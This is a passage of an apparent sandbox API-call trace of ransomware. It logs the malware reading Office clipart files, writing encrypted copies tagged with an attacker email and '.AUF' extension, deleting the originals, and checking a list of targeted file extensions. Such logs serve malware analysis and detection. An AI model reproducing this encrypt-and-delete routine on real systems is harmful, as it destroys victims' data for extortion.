dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0220.306] GetLastError () returned 0x0 [0220.306] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x70c, lpOverlapped=0x0) returned 1 [0220.356] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x710, lpOverlapped=0x0) returned 1 [0220.356] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.356] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.356] SetEndOfFile (hFile=0x21c) returned 1 [0220.357] CloseHandle (hObject=0x21c) returned 1 [0220.357] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.357] SetEndOfFile (hFile=0x208) returned 1 [0220.357] CloseHandle (hObject=0x208) returned 1 [0220.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0220.358] lstrlenW (lpString=".doc") returned 4 [0220.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString=".docx") returned 5 [0220.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.358] lstrlenW (lpString=".pdf") returned 4 [0220.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString=".xls") returned 4 [0220.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.358] lstrlenW (lpString=".xlsx") returned 5 [0220.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.358] lstrlenW (lpString=".ppt") returned 4 [0220.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0220.358] lstrlenW (lpString=".zip") returned 4 [0220.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.358] lstrlenW (lpString=".rar") returned 4 [0220.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString=".bz2") returned 4 [0220.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString=".7z") returned 3 [0220.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0220.358] lstrlenW (lpString=".dbf") returned 4 [0220.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0220.358] lstrlenW (lpString=".1cd") returned 4 [0220.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0220.358] lstrlenW (lpString=".jpg") returned 4 [0220.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.359] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=8564) returned 1 [0220.359] CloseHandle (hObject=0x208) returned 1 [0220.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0220.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0220.359] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.359] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0220.553] GetLastError () returned 0x0 [0220.553] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2174, lpOverlapped=0x0) returned 1 [0220.581] WriteFile (in: hFile=0x1e8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2180, lpOverlapped=0x0) returned 1 [0220.581] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.581] WriteFile (in: hFile=0x1e8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.582] SetEndOfFile (hFile=0x1e8) returned 1 [0220.582] CloseHandle (hObject=0x1e8) returned 1 [0220.582] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.582] SetEndOfFile (hFile=0x208) returned 1 [0220.587] CloseHandle (hObject=0x208) returned 1 [0220.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0220.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0220.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0220.587] lstrlenW (lpString=".doc") returned 4 [0220.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.587] lstrlenW (lpString=".docx") returned 5 [0220.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.588] lstrlenW (lpString=".pdf") returned 4 [0220.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.588] lstrlenW (lpString=".xls") returned 4 [0220.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.588] lstrlenW (lpString=".xlsx") returned 5 [0220.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.588] lstrlenW (lpString=".ppt") returned 4 [0220.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0220.588] lstrlenW (lpString=".zip") returned 4 [0220.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.588] lstrlenW (lpString=".rar") returned 4 [0220.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.588] lstrlenW (lpString=".bz2") returned 4 [0220.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.588] lstrlenW (lpString=".7z") returned 3 [0220.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0220.588] lstrlenW (lpString=".dbf") returned 4 [0220.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0220.588] lstrlenW (lpString=".1cd") returned 4 [0220.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0220.588] lstrlenW (lpString=".jpg") returned 4 [0220.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.590] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=6938) returned 1 [0220.590] CloseHandle (hObject=0x208) returned 1 [0220.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0220.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0220.590] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.590] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0220.591] GetLastError () returned 0x0 [0220.591] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1b1a, lpOverlapped=0x0) returned 1 [0220.649] WriteFile (in: hFile=0x1e8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0220.650] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.650] WriteFile (in: hFile=0x1e8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.650] SetEndOfFile (hFile=0x1e8) returned 1 [0220.650] CloseHandle (hObject=0x1e8) returned 1 [0220.651] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.651] SetEndOfFile (hFile=0x208) returned 1 [0220.651] CloseHandle (hObject=0x208) returned 1 [0220.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0220.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0220.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0220.652] lstrlenW (lpString=".doc") returned 4 [0220.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.652] lstrlenW (lpString=".docx") returned 5 [0220.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.652] lstrlenW (lpString=".pdf") returned 4 [0220.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.652] lstrlenW (lpString=".xls") returned 4 [0220.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.652] lstrlenW (lpString=".xlsx") returned 5 [0220.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.652] lstrlenW (lpString=".ppt") returned 4 [0220.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0220.652] lstrlenW (lpString=".zip") returned 4 [0220.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.652] lstrlenW (lpString=".rar") returned 4 [0220.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.652] lstrlenW (lpString=".bz2") returned 4 [0220.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.652] lstrlenW (lpString=".7z") returned 3 [0220.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0220.652] lstrlenW (lpString=".dbf") returned 4 [0220.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0220.652] lstrlenW (lpString=".1cd") returned 4 [0220.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0220.652] lstrlenW (lpString=".jpg") returned 4 [0220.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.010] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=7944) returned 1 [0221.010] CloseHandle (hObject=0x1e4) returned 1 [0221.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 0x20 [0221.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0221.010] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.010] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.011] GetLastError () returned 0x0 [0221.011] ReadFile (in: hFile=0x1e4, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1f08, lpOverlapped=0x0) returned 1 [0221.055] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0221.056] ReadFile (in: hFile=0x1e4, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.056] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.056] SetEndOfFile (hFile=0x210) returned 1 [0221.056] CloseHandle (hObject=0x210) returned 1 [0221.056] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.056] SetEndOfFile (hFile=0x1e4) returned 1 [0221.056] CloseHandle (hObject=0x1e4) returned 1 [0221.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0221.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0221.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0221.057] lstrlenW (lpString=".doc") returned 4 [0221.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.057] lstrlenW (lpString=".docx") returned 5 [0221.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.057] lstrlenW (lpString=".pdf") returned 4 [0221.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.057] lstrlenW (lpString=".xls") returned 4 [0221.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.057] lstrlenW (lpString=".xlsx") returned 5 [0221.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.057] lstrlenW (lpString=".ppt") returned 4 [0221.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0221.057] lstrlenW (lpString=".zip") returned 4 [0221.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.057] lstrlenW (lpString=".rar") returned 4 [0221.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.057] lstrlenW (lpString=".bz2") returned 4 [0221.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.057] lstrlenW (lpString=".7z") returned 3 [0221.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0221.058] lstrlenW (lpString=".dbf") returned 4 [0221.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0221.058] lstrlenW (lpString=".1cd") returned 4 [0221.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 63 [0221.058] lstrlenW (lpString=".jpg") returned 4 [0221.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.058] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=15856) returned 1 [0221.058] CloseHandle (hObject=0x1e4) returned 1 [0221.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0221.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0221.058] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.058] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.059] GetLastError () returned 0x0 [0221.059] ReadFile (in: hFile=0x1e4, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x3df0, lpOverlapped=0x0) returned 1 [0221.111] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x3e00, lpOverlapped=0x0) returned 1 [0221.111] ReadFile (in: hFile=0x1e4, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.111] WriteFile (in: hFile=0x210, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.111] SetEndOfFile (hFile=0x210) returned 1 [0221.237] CloseHandle (hObject=0x210) returned 1 [0221.237] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.237] SetEndOfFile (hFile=0x1e4) returned 1 [0221.238] CloseHandle (hObject=0x1e4) returned 1 [0221.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0221.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0221.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0221.238] lstrlenW (lpString=".doc") returned 4 [0221.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.238] lstrlenW (lpString=".docx") returned 5 [0221.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.238] lstrlenW (lpString=".pdf") returned 4 [0221.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.238] lstrlenW (lpString=".xls") returned 4 [0221.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.238] lstrlenW (lpString=".xlsx") returned 5 [0221.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.238] lstrlenW (lpString=".ppt") returned 4 [0221.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.238] 